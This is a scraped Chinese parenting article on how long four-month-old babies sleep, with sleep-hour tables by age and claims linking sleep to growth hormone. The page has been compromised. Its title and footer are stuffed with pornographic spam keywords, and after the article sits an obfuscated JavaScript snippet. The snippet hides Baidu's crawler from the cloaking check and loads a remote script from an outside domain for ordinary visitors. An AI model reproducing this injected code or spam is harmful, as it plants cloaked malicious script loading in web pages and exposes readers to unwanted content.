久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 母嬰 > 育兒知識 > 正文

一般四個月寶寶一天睡幾個小時

2017-04-01 14:34:47  來源:360常識網   熱度:
導語:每個做母親的,都想讓自己的新生兒睡覺比較足,這樣才能保障新生兒的健康成長,所以4個月寶寶的家長,就想全面了解一下4個月寶寶一天睡幾個

每個做母親的,都想讓自己的新生兒睡覺比較足,這樣才能保障新生兒的健康成長,所以4個月寶寶的家長,就想全面了解一下4個月寶寶一天睡幾個小時?下面的內容就為很多的家長詳細介紹了4個月寶寶一天睡幾個小時?你可以全面地來了解一下。

正常小兒每天所需的睡眠時間如下:

初生~2個月:20小時

2~4個月:16~18小時

4~9個月:15~16小時

9~12個月:14~15小時

12~15個月:13~14小時

15月~2歲:13小時

2~3歲:12.5小時

3~5歲:12小時

睡眠會影響身高

睡眠是影響身高的關鍵因素,尤其表現在幼兒時期,因為促進人體長高的生長激素在一天中呈脈沖式分泌,會在入睡約2小時后達到高峰,此時分泌的生長激素幾乎占到一天分泌量的一半,是長個的黃金時間。

美國埃默里大學學者進行跟蹤研究后發現,嬰兒在身高增長48小時前,都會出現連續兩天日均增加4個半小時睡眠的貪睡情況。貪睡的嬰兒每多一次睡眠,身高增長可能性增加43%;每多1小時睡眠,這種可能性增加20%。而且,小時候是睡眠模式養成的關鍵期,一旦作息習慣固定,長大后再糾正就難了。

寶寶幾點睡?

寶寶在20時就要開始睡眠,最好在21時進入深睡期。生長激素的分泌有其特定的節律,人在睡著后才能產生生長激素,深睡一小時以后逐漸進入高峰,一般在22時至凌晨1時為分泌的高峰期。寶寶要長得高,一定要睡得好。

4個月寶寶一天睡眠的時間是怎樣的?以上就做了介紹,同時也對其他年齡段的寶寶的睡眠時間有了了解,在全面了解了以上的介紹后,作為家長,一定要創造條件讓自己的寶寶在睡眠方面,一定要睡得更足,這樣才有利于寶寶的身體健康和成長。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产精品久久久精品 | 欧美精品在线一区二区三区 | 91免费在线| 欧美精品国产精品 | 欧美三级电影在线观看 | 国产视频中文字幕 | 亚洲精品9999 | 久久精品国产99国产精品 | 久久精品8| 成人黄色免费在线视频 | 男男高h在线观看 | 日韩综合 | 国产区一二 | 欧美日韩免费看 | 精品免费国产一区二区三区 | 欧洲一级毛片 | 久草热线视频 | 欧美怡红院视频一区二区三区 | 日韩一区二区精品 | 日本在线观看视频网站 | 亚洲欧美日本在线 | 中文字幕一二三区有限公司 | 日韩av在线不卡 | 高清三区 | 免费观看一级黄色片 | 97久久精品午夜一区二区 | 国产激情在线观看 | 久久精品国产99 | 国产在线视频在线 | 午夜在线视频 | 欧美一区二区免费 | 亚洲成人在线网站 | 色综合99 | 日韩国产欧美一区 | 欧美一级毛片免费看 | 亚洲视频一区二区 | 久久国产成人 | 久久久婷婷 | 国产一区二区黄 | 成人亚洲免费视频 | 久久久精 |